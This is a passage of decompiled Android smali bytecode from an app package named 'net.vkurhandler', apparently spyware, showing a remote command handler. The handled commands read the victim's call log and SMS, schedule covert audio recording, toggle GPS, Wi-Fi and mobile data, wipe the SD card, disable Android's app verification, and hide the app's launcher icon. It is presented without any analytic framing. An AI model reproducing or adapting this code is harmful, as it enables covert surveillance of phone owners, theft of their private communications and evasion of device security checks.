                    180iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    181goto/16 :goto_4e
                    182cond_e8:
                    183const-string v3, "long"
                    185invoke-virtual {v3, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    186move-result v3
                    187if-eqz v3, :cond_102
                    189iget-object v2, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    191invoke-interface {v2}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    192move-result-object v2
                    194invoke-static {v0}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
                    195move-result-wide v4
                    197invoke-interface {v2, v1, v4, v5}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
                    198move-result-object v0
                    200invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    201goto/16 :goto_e2
                    202cond_102:
                    203const-string v3, "boolean"
                    205invoke-virtual {v3, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    206move-result v3
                    207if-eqz v3, :cond_11c
                    209iget-object v2, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    211invoke-interface {v2}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    212move-result-object v2
                    214invoke-static {v0}, Ljava/lang/Boolean;->parseBoolean(Ljava/lang/String;)Z
                    215move-result v0
                    217invoke-interface {v2, v1, v0}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    218move-result-object v0
                    220invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    221goto/16 :goto_e2
                    222cond_11c:
                    223const-string v3, "string"
                    225invoke-virtual {v3, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    226move-result v3
                    227if-eqz v3, :cond_132
                    229iget-object v2, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    231invoke-interface {v2}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    232move-result-object v2
                    234invoke-interface {v2, v1, v0}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    235move-result-object v0
                    237invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    238goto/16 :goto_e2
                    239cond_132:
                    240const-string v3, "float"
                    242invoke-virtual {v3, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    243move-result v2
                    244if-eqz v2, :cond_e2
                    246iget-object v2, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    248invoke-interface {v2}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    249move-result-object v2
                    251invoke-static {v0}, Ljava/lang/Float;->parseFloat(Ljava/lang/String;)F
                    252move-result v0
                    254invoke-interface {v2, v1, v0}, Landroid/content/SharedPreferences$Editor;->putFloat(Ljava/lang/String;F)Landroid/content/SharedPreferences$Editor;
                    255move-result-object v0
                    257invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    258goto/16 :goto_e2
                    259cond_14c:
                    260const-string v4, "toggle_gps_on_sms"
                    262iget-object v5, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    264invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    265move-result v4
                    266if-eqz v4, :cond_173
                    268iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    270invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    271move-result-object v0
                    273const-string v1, "toggle_gps_on_sms"
                    275iget-object v2, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    277const-string v3, "true"
                    279invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    280move-result v2
                    282invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    283move-result-object v0
                    285invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    287const-string v0, "ok"
                    288iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    289goto/16 :goto_4e
                    290cond_173:
                    291const-string v4, "toggle_gps_on_call"
                    293iget-object v5, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    295invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    296move-result v4
                    297if-eqz v4, :cond_19a
                    299iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    301invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    302move-result-object v0
                    304const-string v1, "toggle_gps_on_call"
                    306iget-object v2, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    308const-string v3, "true"
                    310invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    311move-result v2
                    313invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    314move-result-object v0
                    316invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    318const-string v0, "ok"
                    319iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    320goto/16 :goto_4e
                    321cond_19a:
                    322const-string v4, "silence_mode"
                    324iget-object v5, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    326invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    327move-result v4
                    328if-eqz v4, :cond_1c5
                    330iget-object v0, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    332const-string v1, "true"
                    334invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    335move-result v0
                    336sput-boolean v0, Lnet/vkurhandler/MyApp;->a:Z
                    338iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    340invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    341move-result-object v0
                    343const-string v1, "silence_mode"
                    344sget-boolean v2, Lnet/vkurhandler/MyApp;->a:Z
                    346invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    347move-result-object v0
                    349invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    351const-string v0, "ok"
                    352iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    353goto/16 :goto_4e
                    354cond_1c5:
                    355const-string v4, "arecord_env_schedule"
                    357iget-object v5, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    359invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    360move-result v4
                    361if-eqz v4, :cond_202
                    363iget-object v0, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    365const-string v1, ","
                    367invoke-virtual {v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    368move-result-object v0
                    369const/4 v1, 0x0
                    370aget-object v1, v0, v1
                    371const/4 v2, 0x0
                    373invoke-static {v1, v2}, Lnet/vkurhandler/gn;->b(Ljava/lang/String;I)I
                    374move-result v1
                    375const/4 v2, 0x1
                    376aget-object v0, v0, v2
                    378iget-object v2, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    380invoke-interface {v2}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    381move-result-object v2
                    383const-string v3, "arecord_schedule_mode"
                    385invoke-interface {v2, v3, v1}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    386move-result-object v1
                    388invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    390iget-object v1, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    392invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    393move-result-object v1
                    395const-string v2, "arecord_schedule_when"
                    397invoke-interface {v1, v2, v0}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    398move-result-object v0
                    400invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    401goto/16 :goto_4e
                    402cond_202:
                    403iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    405const-string v5, "arecord_settings"
                    407invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    408move-result v4
                    409if-eqz v4, :cond_292
                    411iget-object v0, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    413const-string v1, ";"
                    415invoke-virtual {v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    416move-result-object v0
                    417array-length v1, v0
                    418if-eq v1, v6, :cond_21d
                    420const-string v0, "incorrect_params"
                    421iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    422goto/16 :goto_4e
                    423cond_21d: const/4 v1, 0x0
                    424aget-object v1, v0, v1
                    425const/4 v2, -0x1
                    427invoke-static {v1, v2}, Lnet/vkurhandler/gn;->b(Ljava/lang/String;I)I
                    428move-result v1
                    429const/4 v2, -0x1
                    430if-ne v1, v2, :cond_22e
                    432const-string v0, "incorrect_params"
                    433iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    434goto/16 :goto_4e
                    435cond_22e:
                    436iget-object v2, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    438invoke-static {v2}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    439move-result-object v2
                    441invoke-virtual {v2}, Lnet/vkurhandler/MyApp;->f()Lnet/vkurhandler/v;
                    442move-result-object v2
                    443const/4 v3, 0x1
                    444aget-object v3, v0, v3
                    446invoke-virtual {v2, v1, v3}, Lnet/vkurhandler/v;->a(ILjava/lang/String;)Z
                    447move-result v2
                    448if-eqz v2, :cond_28c
                    450invoke-static {v1}, Lnet/vkurhandler/v;->a(I)Ljava/lang/String;
                    451move-result-object v1
                    452const/4 v2, 0x1
                    453aget-object v2, v0, v2
                    455const-string v3, ","
                    457invoke-virtual {v2, v3}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    458move-result-object v2
                    459const/4 v3, 0x0
                    460aget-object v3, v2, v3
                    462invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    463move-result v3
                    464const/4 v4, 0x1
                    465aget-object v4, v2, v4
                    467invoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    468move-result v4
                    469const/4 v5, 0x2
                    470aget-object v5, v2, v5
                    472invoke-static {v5}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    473move-result v5
                    474const/4 v6, 0x5
                    475aget-object v2, v2, v6
                    477invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    478move-result v2
                    480invoke-static {v3, v4, v5, v2}, Lnet/vkurhandler/v;->a(IIII)Z
                    481move-result v2
                    482if-eqz v2, :cond_286
                    484iget-object v2, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    486invoke-interface {v2}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    487move-result-object v2
                    488const/4 v3, 0x1
                    489aget-object v0, v0, v3
                    491invoke-interface {v2, v1, v0}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    492move-result-object v0
                    494invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    496const-string v0, "ok"
                    497iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    498goto/16 :goto_4e
                    499cond_286:
                    500const-string v0, "not_supported"
                    501iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    502goto/16 :goto_4e
                    503cond_28c:
                    504const-string v0, "operation_fail"
                    505iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    506goto/16 :goto_4e
                    507cond_292:
                    508iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    510const-string v5, "read_calls"
                    512invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    513move-result v4
                    514if-eqz v4, :cond_2d1
                    516iget-object v0, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    518const-string v1, ","
                    520invoke-virtual {v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    521move-result-object v2
                    523const-string v1, "DESC"
                    525const-string v0, "1"
                    526array-length v3, v2
                    527if-ne v3, v6, :cond_185a
                    528const/4 v0, 0x0
                    529aget-object v1, v2, v0
                    530const/4 v0, 0x1
                    531aget-object v0, v2, v0
                    532move-object v10, v0
                    533move-object v0, v1
                    534move-object v1, v10
                    535goto_2b4:
                    536const-string v2, "asc"
                    538invoke-virtual {v2, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                    539move-result v2
                    540if-nez v2, :cond_2c6
                    542const-string v2, "desc"
                    544invoke-virtual {v2, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                    545move-result v2
                    546if-nez v2, :cond_2c6
                    548const-string v0, "desc"
                    549cond_2c6: const/4 v2, 0x1
                    550iput-boolean v2, p0, Lnet/vkurhandler/ah;->i:Z
                    552invoke-direct {p0, v0, v1}, Lnet/vkurhandler/ah;->b(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    553move-result-object v0
                    554iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    555goto/16 :goto_4e
                    556cond_2d1:
                    557iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    559const-string v5, "read_sms"
                    561invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    562move-result v4
                    563if-eqz v4, :cond_313
                    565iget-object v0, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    567const-string v1, ","
                    569invoke-virtual {v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    570move-result-object v2
                    572const-string v1, "DESC"
                    574const-string v0, "1"
                    575array-length v3, v2
                    576if-ne v3, v6, :cond_1855
                    577const/4 v0, 0x0
                    578aget-object v1, v2, v0
                    579const/4 v0, 0x1
                    580aget-object v0, v2, v0
                    581move-object v10, v0
                    582move-object v0, v1
                    583move-object v1, v10
                    584goto_2f3:
                    585const-string v2, "asc"
                    587invoke-virtual {v2, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                    588move-result v2
                    589if-nez v2, :cond_305
                    591const-string v2, "desc"
                    593invoke-virtual {v2, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                    594move-result v2
                    595if-nez v2, :cond_305
                    597const-string v0, "desc"
                    598cond_305:
                    599invoke-static {v1}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    600const/4 v2, 0x1
                    601iput-boolean v2, p0, Lnet/vkurhandler/ah;->i:Z
                    603invoke-direct {p0, v0, v1}, Lnet/vkurhandler/ah;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    604move-result-object v0
                    605iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    606goto/16 :goto_4e
                    607cond_313:
                    608iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    610const-string v5, "interval_send"
                    612invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    613move-result v4
                    614if-eqz v4, :cond_341
                    616iget-object v0, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    617const/16 v1, 0x12c
                    619invoke-static {v0, v1}, Lnet/vkurhandler/gn;->a(Ljava/lang/String;I)I
                    620move-result v0
                    622iget-object v1, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    624invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    625move-result-object v1
                    627const-string v2, "interval_send"
                    629invoke-interface {v1, v2, v0}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    630move-result-object v1
                    632invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    634iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    635div-int/lit8 v0, v0, 0x3c
                    637invoke-static {v1, v0}, Lnet/vkurhandler/LocationNotifier;->b(Landroid/content/Context;I)V
                    639const-string v0, "ok"
                    640iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    641goto/16 :goto_4e
                    642cond_341:
                    643iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    645const-string v5, "enable_wifi"
                    647invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    648move-result v4
                    649if-eqz v4, :cond_35b
                    651iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    653invoke-static {v0}, Lnet/vkurhandler/gn;->l(Landroid/content/Context;)Landroid/net/wifi/WifiManager;
                    654move-result-object v0
                    655const/4 v1, 0x1
                    657invoke-virtual {v0, v1}, Landroid/net/wifi/WifiManager;->setWifiEnabled(Z)Z
                    659const-string v0, "ok"
                    660iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    661goto/16 :goto_4e
                    662cond_35b:
                    663iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    665const-string v5, "disable_wifi"
                    667invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    668move-result v4
                    669if-eqz v4, :cond_375
                    671iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    673invoke-static {v0}, Lnet/vkurhandler/gn;->l(Landroid/content/Context;)Landroid/net/wifi/WifiManager;
                    674move-result-object v0
                    675const/4 v1, 0x0
                    677invoke-virtual {v0, v1}, Landroid/net/wifi/WifiManager;->setWifiEnabled(Z)Z
                    679const-string v0, "ok"
                    680iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    681goto/16 :goto_4e
                    682cond_375:
                    683iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    685const-string v5, "enable_gprs"
                    687invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    688move-result v4
                    689if-eqz v4, :cond_399
                    691iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    693invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->v()Lnet/vkurhandler/Mobile;
                    694move-result-object v0
                    695const/4 v1, 0x1
                    697invoke-virtual {v0, v1}, Lnet/vkurhandler/Mobile;->a(Z)Ljava/lang/Boolean;
                    698move-result-object v0
                    700invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
                    701move-result v0
                    702if-eqz v0, :cond_396
                    704const-string v0, "ok"
                    705goto_392: iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    706goto/16 :goto_4e
                    707cond_396:
                    708const-string v0, "not_supported"
                    709goto/16 :goto_392
                    710cond_399:
                    711iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    713const-string v5, "disable_gprs"
                    715invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    716move-result v4
                    717if-eqz v4, :cond_3bd
                    719iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    721invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->v()Lnet/vkurhandler/Mobile;
                    722move-result-object v0
                    723const/4 v1, 0x0
                    725invoke-virtual {v0, v1}, Lnet/vkurhandler/Mobile;->a(Z)Ljava/lang/Boolean;
                    726move-result-object v0
                    728invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
                    729move-result v0
                    730if-eqz v0, :cond_3ba
                    732const-string v0, "ok"
                    733goto_3b6: iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    734goto/16 :goto_4e
                    735cond_3ba:
                    736const-string v0, "not_supported"
                    737goto/16 :goto_3b6
                    738cond_3bd:
                    739iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    741const-string v5, "erase_sd_card"
                    743invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    744move-result v4
                    745if-eqz v4, :cond_3d6
                    747invoke-static {}, Lnet/vkurhandler/gn;->a()Z
                    748move-result v0
                    749if-eqz v0, :cond_3d3
                    751const-string v0, "ok"
                    752goto_3cf: iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    753goto/16 :goto_4e
                    754cond_3d3:
                    755const-string v0, "error"
                    756goto/16 :goto_3cf
                    757cond_3d6:
                    758iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    760const-string v5, "disable_verify_apps"
                    762invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    763move-result v4
                    764if-eqz v4, :cond_3ec
                    766iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    767const/4 v1, 0x0
                    769invoke-static {v0, v1}, Lnet/vkurhandler/at;->a(Landroid/content/Context;Z)Z
                    771const-string v0, "ok"
                    772iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    773goto/16 :goto_4e
                    774cond_3ec:
                    775iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    777const-string v5, "check_verify_apps"
                    779invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    780move-result v4
                    781if-eqz v4, :cond_40a
                    783iget-object v2, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    785invoke-static {v2}, Lnet/vkurhandler/at;->a(Landroid/content/Context;)Lnet/vkurhandler/au;
                    786move-result-object v2
                    788sget-object v3, Lnet/vkurhandler/au;->a:Lnet/vkurhandler/au;
                    789if-ne v2, v3, :cond_408
                    790goto_400:
                    791invoke-static {v1}, Ljava/lang/String;->valueOf(Z)Ljava/lang/String;
                    792move-result-object v0
                    793iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    794goto/16 :goto_4e
                    795cond_408: move v1, v0
                    796goto/16 :goto_400
                    797cond_40a:
                    798iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    800const-string v5, "hide"
                    802invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    803move-result v4
                    804if-eqz v4, :cond_459
                    805new-instance v0, Landroid/content/ComponentName;
                    807iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    809invoke-virtual {v1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                    810move-result-object v1
                    811new-instance v2, Ljava/lang/StringBuilder;
                    813iget-object v3, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    815invoke-virtual {v3}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                    816move-result-object v3
                    818invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    819move-result-object v3
                    821invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    823const-string v3, ".FakeActivity"
                    825invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    826move-result-object v2
                    828invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    829move-result-object v2
                    831invoke-direct {v0, v1, v2}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                    833iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    835invoke-virtual {v1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                    836move-result-object v1
                    837const/4 v2, 0x2
                    838const/4 v3, 0x1
                    840invoke-virtual {v1, v0, v2, v3}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
                    842const-string v0, "ok"
                    843iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    845iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    847invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    848move-result-object v0
                    850const-string v1, "hide_app"
                    851const/4 v2, 0x1
                    853invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    854move-result-object v0
                    856invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    857goto/16 :goto_4e
                    858cond_459:
                    859iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    861const-string v5, "unhide"
                    863invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    864move-result v4
                    865if-eqz v4, :cond_4a8
                    866new-instance v0, Landroid/content/ComponentName;
                    868iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    870invoke-virtual {v1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                    871move-result-object v1
                    872new-instance v2, Ljava/lang/StringBuilder;
                    874iget-object v3, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    876invoke-virtual {v3}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                    877move-result-object v3
                    879invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    880move-result-object v3
                    882invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    884const-string v3, ".FakeActivity"
                    886invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    887move-result-object v2
                    889invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    890move-result-object v2
                    892invoke-direct {v0, v1, v2}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                    894iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    896invoke-virtual {v1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                    897move-result-object v1
                    898const/4 v2, 0x1
                    899const/4 v3, 0x1
                    901invoke-virtual {v1, v0, v2, v3}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
                    903const-string v0, "ok"
                    904iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    906iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    908invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    909move-result-object v0
                    911const-string v1, "hide_app"
                    912const/4 v2, 0x0
                    914invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    915move-result-object v0
                    917invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    918goto/16 :goto_4e
                    919cond_4a8:
                    920iget-object v4, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    922const-string v5, "find"
                    924invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    925move-result v4
                    926if-eqz v4, :cond_502
                    928invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    929move-result-object v0
                    931const-string v1, "type"
                    932const/4 v2, 0x1
                    934invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    936const-string v1, "sub_type"
                    937const/4 v2, 0x5
                    939invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    941const-string v1, "date"
                    943invoke-static {}, Lnet/vkurhandler/gn;->e()Ljava/lang/String;
                    944move-result-object v2
                    946invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    948const-string v1, "charger"
                    950iget-object v2, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    952invoke-virtual {v2}, Lnet/vkurhandler/MyApp;->w()Lnet/vkurhandler/ce;
                    953move-result-object v2
                    955invoke-virtual {v2}, Lnet/vkurhandler/ce;->b()Z
                    956move-result v2
                    958invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Z)V
                    960const-string v1, "bat_level"
                    962iget-object v2, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
